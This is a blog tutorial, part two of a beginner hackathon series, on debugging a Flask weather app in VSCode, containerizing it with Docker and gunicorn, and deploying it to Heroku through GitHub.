David — Fri, 19 Feb 2021 03:29:49 +0000

This series focuses on equipping you with the basic background needed to make a web app fast for a hackathon. My intent is to provide the simplest information possible to get you up-and-running with something that works for a beginner project.

This is not a series which will teach you how to build a robust, scalable, enterprise-worthy application. So, for instance, I'll be avoiding topics like writing tests 😎.

You can find a completed snapshot of the code in this tutorial at https://github.com/david-shortman/hackathon-flask-backend-tutorial/tree/main/part%20two

The Common Hackathon Hangups

Two things bog down hackathon projects: figuring out what's wrong with your app, and figuring out how to share it with other people.

In this second part of the DSWAFH (Dead Simple Web App Fast for a Hackathon) series, you'll learn how to use dead simple linting and debug tools for your Flask app, and how to containerize and deploy it to the World Wide Web using Heroku.

I highly and deeply recommend starting at Part One of this series before continuing. Otherwise, you can start this tutorial by cloning and copying the part one directory from the tutorial's repository.

Prevent and Find Mistakes

The editor VSCode makes it unbelievably easy to start debugging our app. Grab a copy of VSCode if you don't have it installed already, and open your app's directory with it.

Set the Python Interpreter

Since we're using VSCode, let's take full advantage of it by making it produce code insights for us. We can get autocomplete, view docs by mouse hovering, and more, by telling VSCode which Python interpreter we're using from our virtual environment.

First, install the Python extension for VSCode- https://marketplace.visualstudio.com/items?itemName=ms-python.python.

Then open VSCode's Command Palette with View > Command Palette, and search for "Python: Select Interpreter".

Then choose Enter interpreter path…, then Find…, and use your file explorer to navigate to your project folder's interpreter (like {project_folder}/venv/bin/python).

You should get a cool prompt in the bottom right corner of VSCode after selecting the interpreter:

VSCode's prompt to install pylint

Go ahead and click "Install" to install pylint in the virtual environment.

Now you'll notice a bunch of great features enabled, like

Documentation on hover

An IntelliSense popup appearing when hovering over the keyword "flask"

Autocomplete

An autocomplete menu appearing after typing a dot after a symbol

And much more

A pylint unused variable warning

With all this help from the editor, you should be well equipped to avoid simple coding mistakes that would otherwise waste your time at a hackathon .

Set a Breakpoint

Those coding insights from VSCode are going to go a long way to helping you avoid syntax mistakes and library mis-usage. But face it, you're gonna still manage to write bad code because you don't have time to write test cases.

Instead, we need a robust debugging system to run code and see what's broken about it. Luckily, VSCode provides one of the fastest to set up debugging tools ever for Flask apps.

On the left side of the editor, click the "Run" icon (made of a play icon and bug icon), and then click "create a launch.json file".

The Run menu in VSCode

Then select "Flask" in the "Select a debug configuration" popup that appears.

Set the name of the file to "run.py" when the next prompt appears.

A launch.json file will appear that you can completely ignore! Instead, go click the play button in the Run menu on the left.

The run button appears for the Flask run configuration

You should see the same kind of output appear in the VSCode terminal that appeared when we ran our app manually before. The color of the bottom bar of VSCode should have also turned orange to let you know it's actively running something!

Now you can place a breakpoint by clicking to the left of a line number of run.py. Then when you trigger the code for that breakpoint, you'll notice something magical occur.

Try placing a breakpoint on line 16, and then looking up the weather for New York by visiting http://localhost:5000/weather/us/new%20york.
KA-BOOM! VSCode should stop execution of the weather function right at line 16:

VSCode stopped at the breakpoint on line 16

And even more magically, we can hover over variables to see what they're currently set to. And we can even use the Watch pane on the left to type in variables we want to track, and even see where we are in execution in the Call Stack pane.

The debugger shows us that "country" is set to "us". On the left, we can see the values of "country" and "city" in the Watch pane.

At the top of the window you should see a toolbar that has appeared that controls the flow of the application from a breakpoint. You can continue execution, step to the next line, step into a function, step out of the current function, restart the app, or stop it.

This debugging toolbar in VSCode holds a lot of powerful actions

Click the continue button to finish executing the code so you can get weather information for New York in your browser.

Try playing around with the debugging tools to get comfortable with them. They'll be indispensable to figuring out what you wrote wrong on your own projects.

Package and Ship the App

Getting an app on the web can be a tedious and difficult process. So let's use something simple, fast, and fun instead.

Package an App with Docker

Remember that image from Part One that showed that really simplistic view of our app?

A client, like a browser on a smartphone (left), makes a request to a "backend" service (right) using the HTTP protocol.

So far, our local computer has been acting as both the left and right side of the image, both the client and the server.

We want to move the right side, the server, to "the cloud."

But, remember all that setup we had to do on our local machine to make the app run? We had to install a bunch of packages, create a virtual environment, install the dependencies, and use a command to make it run. And, if you noticed in the console output when running the app, we've been getting output at the start that looks like this:

* Environment: production
   WARNING: This is a development server. Do not use it in a production deployment.

So we have two problems- we have to set up a server manually, and figure out a way to run it with a "real" server for deployment.

If there were some way to encapsulate those steps, and create some kind of artifact from it, then we could push that thing to any computer in the world and be able to run our app…

It turns out there's a widely popular solution to this problem- containerization!

In short, it allows us to perform the work of setting up a server in a box called a "container," and then run that container on a computer that has the Docker runtime installed.

Create a "real" server

Before I tell you how to use Docker to magically package up the app, let's quickly make some changes that will allow us to use the software "gunicorn" to run our app.

Under line 1 of run.py, add a new import statement:

import os

Then replace

app.run(debug=True)

with the following:

if __name__ == "__main__":
    if os.environ.get('IS_CONTAINER') != 'true':
        app.run(debug=True)
    else:
        port = os.environ.get('PORT')
        if port == None:
            port = '5000'
        app.run(host=f'0.0.0.0:{port}')

Worry about what this does later 😉.

One more quick thing: instead of storing the API key for the weather API in our code, let's change it to read it from the system's environment instead. Change line 12 of run.py to:

owm = OWM(os.environ.get('OPEN_WEATHER_API_KEY'))

Before we run our app now, we'll need to specify the API key in our environment. You can do that a few ways, but for the purpose of being able to start and stop the app for debugging, you should call the following command:

export OPEN_WEATHER_API_KEY=YOUR_API_KEY_HERE

Now, create a new file at the root of the project directory called "server.py" with the following contents:

from run import app
if __name__ == "__main__":
    app.run()

Now our app can run both the old way, just using "python run.py", but also using gunicorn.

Let's try using gunicorn to see how to run the app with a "production-grade" server.

We can specify the pip dependencies for our app in a requirements.txt file that pip knows how to read. Create the following requirements.txt that includes gunicorn:

flask==1.1.2
pyowm==3.0.0
gunicorn

Then install the requirements:

pip install -r requirements.txt

Then start the app like so:

gunicorn --bind 0.0.0.0:5000 server:app

This tells gunicorn to run server.py, and run the Flask app we created on line 3 of run.py.

You can visit a weather url in your browser like before and see that the server is working.

Creating an Image

Go ahead and install Docker Desktop. Then come back here and continue.

Now that we have the capability to run a production server, we need to package up all these steps in a thing called an "image" using Docker. This definition of how to build our server will live in a file called a "Dockerfile."

The Dockerfile contains a list of instructions telling Docker how to build an "image" for us. An image is an artifact that is used to create a container for our app. You can reuse an image to create multiple clones (i.e., multiple containers) that could be deployed on many machines (so that our app could be on servers close to many regions of the world, for example).

Let's create a Dockerfile (simply name the file "Dockerfile" with no extension) at the base of our project folder with the following first line:

FROM python:alpine3.7

This first instruction tells Docker we want to create our image from another image that already exists, python:alpine3.7. There's thousands of images out on Docker's registry, but this one happens to already have Python installed on it, as well as some minimum dependencies for us to work with.

Next, let's write the instructions for Docker to install our app's requirements:

WORKDIR /app
COPY requirements.txt .
RUN pip install -r requirements.txt

We create an "app" directory, copy our requirements.txt file to it, and install the requirements.

Then, let's copy our app's files to the image:

COPY run.py server.py ./

Finally, let's expose an argument to set our API key, and write the command we want to execute to run the app:

ARG OPEN_WEATHER_API_KEY
EXPOSE 5000
CMD gunicorn --bind 0.0.0.0:$PORT server:app

Build the Image and Create a Container Locally

Let's make sure our image works by building it and running locally before we try deploying it somewhere.

We can create a definition for how to run a container from the image with a "docker-compose" file. Create "docker-compose.yml" in the root of the project directory with the following:

version: '3.8'
services:
    app:
        build: .
        ports:
           - "5000:5000"
        env_file: .env

This tells Docker that we want to build the image using the Dockerfile at the root of the directory, and that we want to expose port 5000 from the container to our system's port 5000.

It also specifies that it should use the environment variables from a .env file. Let's create ".env" at the root of our project's directory with the following:

PORT=5000
OPEN_WEATHER_API_KEY=YOUR_API_KEY_HERE

Now the magic can finally happen. With Docker Desktop installed and running, try out the following command:

docker-compose up

With that simple command, you should see Docker go straight to work building the image, and then starting up a container.

When stuff stops being output to the terminal, try visiting a weather url again, and it should be successful!

Deploy to Heroku

Wow, you've made it so far in this article. We're almost at the finish line. Everything's culminated to this moment.

Time to deploy an app to the web.

Since we have our app ready to be deployed anywhere where Docker is supported, we have huge flexibility in options. But the most popular solutions from Google, Amazon, and Microsoft tend to involve a lot more setup and usually the attachment of billing/credit card information. Gross.

Instead, we can use my personal favorite service for hackathons, Heroku, to deploy our backend app.

Sign up for an account

Go to heroku.com and sign up for an account. I'm sure you'll figure it out 😇.

Create an app

From Heroku's main dashboard, use the dropdown on the right to create a new app.

Selecting "Create new app" from the Heroku dashboard

Enter any name you want for the app, then click "Create app."

Define Heroku Build

With our app created, Heroku makes it very simple to deploy.

First, we need to add a heroku.yml file in the root of our app's directory:

build:
    docker:
        web: 'Dockerfile'

The config tells Heroku that it should be creating and deploying a Docker container based on our Dockerfile.

Now, let's take a side track to push our code to GitHub.

Publish code to GitHub

If you don't already have a GitHub account, create one at github.com.

Then, from GitHub's homepage, create a new repository using the "+" icon in the top right, and selecting "New repository."

The "New respository" button on GitHub's front page

On the next page, name the repository whatever you want, and click "Create repository."

GitHub will then show you some command line instructions for initializing your repo. In the directory where you app is located, run the following modification:

echo "venv\n.env\n.vscode\n__pycache__" > .gitignore
git init
git add .
git commit -m "first commit"
git branch -M main
git remote add origin YOUR_GITHUB_REPOSITORY_URL
git push -u origin main

Tell Heroku to Behave

Now, you'd think Heroku would respect that heroku.yml file we just defined, right?

Nope! We have to be very stern and use their CLI to set our build as a "container" one.

Install and log into the Heroku CLI:

brew tap heroku/brew && brew install heroku
heroku login

Then set the stack of your app to "container":

heroku git:remote -a YOUR_APP_NAME
heroku stack:set container

Set the OpenWeather API key

Back in Heroku, we need to set up the environment like we did for our local machine in the .env file.

Click the Settings for the project, then click Reveal Config Vars.

The config vars section for a Heroku app

Set the key of a config var to "OPEN_WEATHER_API_KEY", and the value to your API key. Then click "Hide Config Vars" to complete setting the key.

Connect GitHub and Deploy

I hope you're excited, because this is where it all comes together!

Our final step is to connect our repository to our Heroku app. On your Heroku app dashboard, click the Deploy tab, then in the "Deployment method" section, click GitHub and follow the prompts to authorize GitHub for Heroku.

GitHub deployment method button

In the "Connect to GitHub" section, search for your repository and click "Connect".

If you want, you can use the "Enable Automatic Deploys" button that appears to enable every commit to your main branch to kick off a build.

The deploy control options

For now, let's manually deploy a build by clicking "Deploy Branch"!

The status of your deployment will immediately appear in the Manual deploy section.

Heroku shows the status of your build

When it's complete, you'll be conveniently given a "View" button to see your live API! Click it and you should see a familiar greeting...

A wild View button appears. Finally!

Conclusion

At a breakneck pace, you've learned the bare essentials to make edits to a web app with guardrails and debugging capabilities from VSCode, and deploy using Docker and Heroku.

There's a bunch more to learn by playing around yourself in the various tools presented here. If you're having trouble getting set up or understanding something in this article, feel free to discuss below and I'll make updates as needed.

Good luck and happy hacking!